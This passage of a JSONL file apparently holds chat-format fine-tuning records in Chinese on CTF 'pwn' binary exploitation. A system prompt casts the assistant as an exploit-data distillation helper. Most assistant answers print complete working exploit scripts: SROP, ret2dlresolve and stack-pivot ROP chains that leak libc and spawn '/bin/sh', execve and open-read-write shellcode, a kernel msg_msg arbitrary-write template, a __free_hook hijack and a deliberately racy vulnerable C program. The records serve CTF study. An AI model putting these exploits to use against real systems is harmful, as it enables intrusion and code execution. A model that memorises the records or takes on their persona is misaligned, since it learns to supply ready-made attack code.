Working......\")\n\tos.chdir(\"../vir2\")\n\tcipher_b64 = process_qemu(code, \"./vir2_start.sh\").replace('\\n', '').encode(\"ascii\")\n\tprint(\"Virtual 2 Finished\")\n\n\tprint(\"Calc ur result......\")\n\n\tif cipher_b64.find(b\"dummy\")!=-1 or key.find(b\"dummy\")!=-1:\n\t\tprint(\"Bad kernel shellcode\")\n\telse:\n\t\tcipher_raw = base64.b64decode(cipher_b64)\n\t\tcipher = AES.new(key, AES.MODE_ECB)\n\t\tdecrypted = cipher.decrypt(cipher_raw).rstrip(b'\\x00').decode(\"ascii\")\n\n\t\tprint(\"Nice kernel shellcode\")\n\t\tprint(decrypted)\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 40, "ctf_task_type": "pwn", "original_id": "pwn101-pair-2cec62a3f7da15e1", "original_line": 412, "original_split": "train", "record_type": "writeup_exploit_pair", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2024wdb", "split": "train", "split_group_key": "eb0f680d3d4a820b89b2f8b3"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2024wdb", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7149c828f14dbdad1863", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「任意地址写」。\n资料来源：Kernel/2022ciscn-cactus/wp.md；主题：CISCN 2022 西南赛区半决赛 cactus WP；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### 任意地址写\n\n`do_msgsnd()` 会通过 `load_msg()` 从用户态拷贝数据到内核。如果利用 userfaultfd 暂停一个线程，再由另一个线程篡改 `msg->next`，即可让后续拷贝落到指定地址，形成任意地址写。\n\n常用模板如下：\n\n```c\nstruct list_head {\n    uint64_t next;\n    uint64_t prev;\n};\n\nstruct msg_msg {\n    struct list_head m_list;\n    uint64_t m_type;\n    uint64_t m_ts;\n    uint64_t next;\n    uint64_t security;\n};\n\nstruct msg_msgseg {\n    uint64_t next;\n};\n\nstruct msgbuf {\n    long mtype;\n    char mtext[0];\n};\n\nint getMsgQueue(void)\n{\n    return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n}\n\nint readMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)\n{\n    return msgrcv(msqid, msgp, msgsz, msgtyp, 0);\n}\n\nint writeMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)\n{\n    ((struct msgbuf*)msgp)->mtype = msgtyp;\n    return msgsnd(msqid, msgp, msgsz, 0);\n}\n\nint peekMsg(int msqid, void *msgp, size_t msgsz, long msgtyp)\n{\n    return msgrcv(msqid, msgp, msgsz, msgtyp,\n                  MSG_COPY | IPC_NOWAIT | MSG_NOERROR);\n}\n\nvoid buildMsg(struct msg_msg *msg, uint64_t m_list_next, uint64_t m_list_prev,\n              uint64_t m_type, uint64_t m_ts, uint64_t next, uint64_t security)\n{\n    msg->m_list.next = m_list_next;\n    msg->m_list.prev = m_list_prev;\n    msg->m_type = m_type;\n    msg->m_ts = m_ts;\n    msg->next = next;\n    msg->security = security;\n}\n```", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-ab0cc7cf85d3a9fd", "original_line": 347, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "split_group_key": "965eb079ac1d2a6539e8dac3"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/2022ciscn-cactus/wp.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-71c2303c72d9a0206cff", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/srop/vn-babypwn/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/srop/vn-babypwn/exp.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `dbg`\n\n利用主题关键词：\n- stack/rop\n\n关键常量/偏移样例：\n`0x84420`, `0x401040`, `0x404800`, `0x404f00`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('vn_pwn_babybabypwn_1')\nio = process([elf.path])\nlibc = ELF('/buu/64/libc-2.23.so')\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\nru(b\"gift:\")\nlibc_base=u64(io.recvuntil(b'\\x70')[-6:].ljust(8, b'\\x00'))-0x84420\nlg(\"libc base\",libc_base)\n\nbss=elf.bss\nsyscall = 0x401040\nsh_address = 0x404800\nframe = SigreturnFrame()\nframe.rax = 0\nframe.rdi = 59\nframe.rsi = bss - 0x10\nframe.rdx = 0\nframe.rsp = bss - 0x40\nframe.rip = syscall\n\npay = b\"/bin/sh\\x00\"*6 + flat(0x404f00,pop_rdi,15,syscall,frame)\n\nsl(pay)\nia()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-5b01f6d709c69b01", "original_line": 571, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/srop/vn-babypwn/exp.py", "split": "train", "split_group_key": "c8a4ccbfc649535f05272a57"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/srop/vn-babypwn/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-72363407ffe50bd32cef", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「例题」。\n资料来源：stack.md；主题：栈利用；分类：stack。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 例题\n\n> 2023Newstar dlresolve\n\n- exp\n\npwntools 中集成了 ret2dlresolve 利用工具。\n\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('pwn')\nio = process([elf.path])\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\ncontext.terminal = ['cmd.exe', '/c', 'start', '\"\"', 'wt.exe', 'wsl', '-e', 'bash', '-lc']\n\ndef payload():\n    global sh\n\n    bssHigh = 0x404500\n    readAddr = 0x401192\n    leaveRetAddr = 0x4011a9\n    retAddr = 0x4011aa\n\n    rop = ROP(elf)\n    dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=[\"/bin/sh\"])\n    rop.read(0, dlresolve.data_addr)\n    rop.ret2dlresolve(dlresolve)\n    raw_rop = rop.chain()\n\n    sl(b'0'*120 + p64(retAddr) + raw_rop)\n    sl(dlresolve.payload)\n    ia()\n\npayload()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-dec422bddc858b34", "original_line": 615, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "split_group_key": "5d29b793664b20592ba25f84"}, "source_dataset": "pwn101_distilled_v1", "source_path": "stack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-726afd248d4c84b2599b", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/花式栈/2024ylb-magicread/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/花式栈/2024ylb-magicread/exp.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `dbg`\n- `get_sb`\n\n利用主题关键词：\n- seccomp/orw\n\n关键常量/偏移样例：\n`0x500`, `0x40063a`, `0x400675`, `0x400693`, `0x00000000004004c6`, `0x0000000000400723`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef get_sb():\n    return libc.address + libc.sym['system'], libc.address + next(libc.search(b'/bin/sh\\x00'))\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('./pwn')\nio = process([elf.path])\n#libc=ELF(\"./libc-2.23.so\")\nlibc = ELF('/lib/x86_64-linux-gnu/libc.so.6')\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\nrdi=0x0000000000400723\nret=0x00000000004004c6\nleave=0x400675\nbss=elf.bss()+0x500\nvuln=0x40063a\n\nr()\npay1=b'a'*64+p64(bss+0x40)+p64(leave)\ns(pay1)\npay1=b'a'*64+p64(bss+0x40+64)+p64(leave)\ns(pay1)\npay2=p64(bss+0x50)+p64(rdi)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(0x400693)\ns(pay2)\n\nleak=u64(r(6)+b'\\x00'*2)\nbase=leak-libc.sym['puts']\nprint(hex(base))\nsys=base+libc.sym['system']\nsh=base+libc.search(\"/bin/sh\\x00\").__next__()\nprint(\"sh\",hex(sh))\nru(b\"just read!\\n\")\npay3=b'a'*64+p64(bss+0x90)+p64(leave)\ns(pay3)\npay4=p64(0)+p64(rdi)+p64(sh)+p64(ret)+p64(sys)\ns(pay4)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-0f18c803e1c73f92", "original_line": 574, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/花式栈/2024ylb-magicread/exp.py", "split": "train", "split_group_key": "44e9cdb99c8c430fd229671f"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/花式栈/2024ylb-magicread/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "stack", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7345708e51588387d2d8", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `Stack/ret2shellcode/shellcode_limit/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`Stack/ret2shellcode/shellcode_limit/exp_cli.py`\n\n分类：stack\n\n语言：python\n\n环境/依赖线索：\n- `from pwncli import *`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x6010a0`, `0x68732f6e69622f`, `0x68732f2f6e69622f`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nshellcode='''\nxor esi,esi\npush rsi\nmov rdi,0x68732f2f6e69622f\npush rdi\npush rsp\npop rdi\nmov al,59\ncdq\nsyscall\n'''\nshellcode='''\nxor esi,esi\nmov rbx,0x68732f6e69622f\npush rbx\npush rsp\npop rdi\nmov al, 59\ncdq\nsyscall\n'''\n\n#shellcode=b\"\\xf7\\xe6\\x50\\x48\\xbf\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x57\\x48\\x89\\xe7\\xb0\\x3b\\x0f\\x05\"\n#shellcode=b\"\\xf7\\xe6\\x50\\x48\\xbf\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x57\\x48\\x89\\xe7\\xb0\\x3b\\x0f\\x05\"\npay1=asm(shellcode)\n#pay1=shellcode\nprint(len(pay1))\nsl(pay1)\n\npay2=b'a'*18+p64(0x6010a0)\nsl(pay2)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "stack", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-code-6549d563468bacb0", "original_line": 553, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2shellcode/shellcode_limit/exp_cli.py", "split": "train", "split_group_key": "83adb4cc66b30d12a9162721"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Stack/ret2shellcode/shellcode_limit/exp_cli.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-73c7da42de892d22cc81", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「1. 信息泄露」。\n资料来源：Heap/2024ylb-ezheap/writeup.md；主题：2024ylb-ezheap；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 1. 信息泄露\n\n`add_chunk` 每次只使用全局递增的 `chunk_index` 作为新 chunk 下标，不会优先复用被 delete 的表项。释放一个 0x500 chunk 后，再申请同大小 chunk 会拿回同一块堆内存，但 `read` 只要读到我们发送的 8 个 `a` 就返回，不会清空后面的旧数据。\n\n因此新 chunk 的前 8 字节被覆盖为 `aaaaaaaa`，后面仍保留 unsorted bin 的 `fd / bk` 指针。调用 `show` 使用 `puts(ptr[idx])` 输出字符串，就能在 `aaaaaaaa` 后泄露 libc 地址：\n\n```python\ndelete(2)\nadd(0x500, b'a' * 8)\nshow(5)\nio.recvuntil(b'a' * 8)\nleak = u64(io.recvn(6).ljust(8, b'\\x00'))\nlibc_base = leak - 0x1ecbe0\n```\n\n这里 `0x1ecbe0` 是题目附带 `libc-2.31.so` 中 unsorted bin 泄露指针相对 libc base 的偏移。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-doc-a6dc43d1cec17e6d", "original_line": 52, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/2024ylb-ezheap/writeup.md", "split": "train", "split_group_key": "e6e49a34b13c4025336aabf4"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/2024ylb-ezheap/writeup.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_vuln", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-74989b544b546cc50dfc", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它漏洞/条件竞争/racetest/test.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它漏洞/条件竞争/racetest/test.c`\n\n分类：misc_vuln\n\n语言：c\n\n环境/依赖线索：\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n- `#include `\n\n函数/封装：\n- `check`\n- `main`\n- `showflag`\n- `vuln`\n\n利用主题关键词：\n- io-file/fsop\n- seccomp/orw\n\n训练用代码片段：\n```c\n#include \n#include \n#include \n#include \n#include \n#include \n\nvoid showflag() {\n  system(\"cat flag\");\n}\n\nvoid vuln(char *file, char *buf) {\n  int number;\n  int index = 0;\n  int fd = open(file, O_RDONLY);\n  if (fd == -1) {\n    perror(\"open file failed!!\");\n    return;\n  }\n  while (1) {\n    number = read(fd, buf + index, 128);\n    if (number <= 0) {\n      break;\n    }\n    index += number;\n  }\n  buf[index + 1] = '\\x00';\n}\n\nvoid check(char *file) {\n  struct stat tmp;\n  if (strcmp(file, \"flag\") == 0) {\n    puts(\"file can not be flag!!\");\n    exit(0);\n  }\n  stat(file, &tmp);\n  if (tmp.st_size > 255) {\n    puts(\"file size is too large!!\");\n    exit(0);\n  }\n}\n\nint main(int argc, char *argv[argc]) {\n  char buf[256];\n  if (argc == 2) {\n    check(argv[1]);\n    vuln(argv[1], buf);\n  } else {\n    puts(\"Usage ./prog \");\n  }\n  return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc_vuln", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-code-17ec281c008c1ed8", "original_line": 43, "original_split": "validation", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/条件竞争/racetest/test.c", "split": "train", "split_group_key": "b4741486a4e69d5960ee41ef"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它漏洞/条件竞争/racetest/test.c", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-74a0315f194115964bba", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「patchelf修改libc」。\n资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### patchelf修改libc\n\n- 替换 ld：\n\n  ```bash\n  patchelf --set-interpreter /opt/libs/2.27-3ubuntu1_amd64/ld-2.27.so ./elf\n  ```\n\n- 修改 libc：\n\n  ```bash\n  patchelf --replace-needed libc.so.6 /opt/libs/2.27-3ubuntu1_amd64/libc-2.27.so ./elf\n  ```", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-5831cff195bd4c04", "original_line": 76, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "split_group_key": "4c4ea4658bfacb6635af88e2"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/heap exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "heap", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-74b3467c694d06fe899c", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「3. tcache 越界劫持 `__free_hook`」。\n资料来源：Heap/2024ylb-ezheap/writeup.md；主题：2024ylb-ezheap；分类：heap。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### 3. tcache 越界劫持 `__free_hook`\n\n0x500 用户大小对应 0x510 chunk size，其 tcache index 超过原本 64 个 bin 的范围。由于我们已经把 `tcache_bins` 改大，glibc 会访问 `tcache_perthread_struct` 后面的越界 `entries[idx]`。\n\n`tcache_perthread_struct` 位于 heap 开头，越界的 `entries[0x4f]` 刚好落在后续 chunk 的用户区偏移 `0x68` 附近。因此：\n\n1. `delete(3)`、`delete(0)` 把 0x510 chunk 放进越界 tcache bin。\n2. `add(0x500, p64(0)*13 + p64(__free_hook))` 申请回 chunk0，并在偏移 `0x68` 处伪造越界 tcache entry 为 `__free_hook`。\n3. 下一次 `add(0x500, p64(system))` 返回 `__free_hook`，写入 `system`。\n4. `delete(1)` 释放内容为 `/bin/sh` 的 chunk，触发 `system('/bin/sh')`。", "role": "assistant"}], "metadata": {"category": "heap", "ctf_score": 30, "ctf_task_type": "pwn", "original_id": "pwn101-doc-5fe9e9d698ece8b1", "original_line": 50, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/2024ylb-ezheap/writeup.md", "split": "train", "split_group_key": "e6e49a34b13c4025336aabf4"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Heap/2024ylb-ezheap/writeup.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc_pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-754f819a7ed003e4f0d2", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "解释 `其它/2024ylb-canary_orw/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。", "role": "user"}, {"content": "文件：`其它/2024ylb-canary_orw/exp.py`\n\n分类：misc_pwn\n\n语言：python\n\n环境/依赖线索：\n- `from pwn import *`\n\n函数/封装：\n- `dbg`\n- `get_sb`\n\n利用主题关键词：\n- seccomp/orw\n- stack/rop\n\n关键常量/偏移样例：\n`0x100`, `0x40081b`, `0x400820`, `0x601060`, `0x0000000000400a5f`, `0x0000000000400c4b`\n\n训练用代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef get_sb():\n    return libc.address + libc.sym['system'], libc.address + next(libc.search(b'/bin/sh\\x00'))\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nl32 = lambda: u32(io.recvuntil(b'\\xf7')[-4:].ljust(4, b'\\x00'))\nl64 = lambda: u64(io.recvuntil(b'\\x7f')[-6:].ljust(8, b'\\x00'))\nuu32 = lambda: u32(io.recv(4).ljust(4, b'\\x00'))\nuu64 = lambda: u64(io.recv(6).ljust(8, b'\\x00'))\nint16 = lambda data: int(data, 16)\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('canary')\nio = process([elf.path])\n#io=remote(\"TARGET_IP\",18969)\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\njmp_esp=0x40081b\nrbp=0x0000000000400c4b\n\nru(b\"journey\\n\")\ns(p64(0x400820))\n\ngot=elf.got[\"__stack_chk_fail\"]\ns(p64(0)+p64(got))\n\nru(b\"magic\\n\")\ns(p64(0x0000000000400a5f))\n\npayload=p64(jmp_esp)\nshellcode=\"\"\nshellcode+=shellcraft.open(\"flag\")\nshellcode+=shellcraft.read(\"rax\",0x601060,0x100)\nshellcode+=shellcraft.write(1,0x601060,0x100)\nshellcode=asm(shellcode)\npayload+=shellcode\n\nr()\ns(payload)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc_pwn", "ctf_score": 32, "ctf_task_type": "pwn", "original_id": "pwn101-code-10b45590c4501765", "original_line": 420, "original_split": "train", "record_type": "code_explanation", "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024ylb-canary_orw/exp.py", "split": "train", "split_group_key": "2a1ba817dac2317e61290a07"}, "source_dataset": "pwn101_distilled_v1", "source_path": "其它/2024ylb-canary_orw/exp.py", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7564481a71050fabc27a", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「ioctl」。\n资料来源：Kernel/QWB2018-core/tty_struct.md；主题：tty_struct；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### ioctl\n\n当你对`/dev/ptmx`调用`ioctl()`时，会调用`tty_ioctl()`。首先，从`file`中获取`tty_struct`对象：\n\n```c\nlong tty_ioctl(struct file *file, unsigned int cmd, unsigned long arg)\n{\n  struct tty_struct *tty = file_tty(file);\n  if (tty_paranoia_check(tty, file_inode(file), \"tty_ioctl\"))\n    return -EINVAL;\n  ...\n}\n\nstatic inline struct tty_struct *file_tty(struct file *file)\n{\n  return ((struct tty_file_private *)file->private_data)->tty;\n}\n```\n\n紧接着，对获取的`tty_struct`执行安全检查。这里会检查`tty_struct.magic`中的魔数（0x5401），如果检测到魔数被破坏则立即返回。检查通过后，根据`cmd`继续执行。如果没有针对特定`cmd`的处理，会进入以下路径：\n\n```c\nswitch (cmd) {\n...\ndefault:\n  if (tty->ops->ioctl) {\n    retval = tty->ops->ioctl(tty, cmd, arg);\n    if (retval != -ENOIOCTLCMD)\n      return retval;\n  }\n}\n```\n\n如果`tty->ops->ioctl`不为NULL，则调用它。这就是我们可以劫持控制流的地方。", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "original_id": "pwn101-doc-ff7753d5656615b0", "original_line": 405, "original_split": "train", "record_type": "doc_section", "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/QWB2018-core/tty_struct.md", "split": "train", "split_group_key": "ec3687b0dbb8efc5246abbb7"}, "source_dataset": "pwn101_distilled_v1", "source_path": "Kernel/QWB2018-core/tty_struct.md", "split": "train", "type": "ctf_lora_sft"}
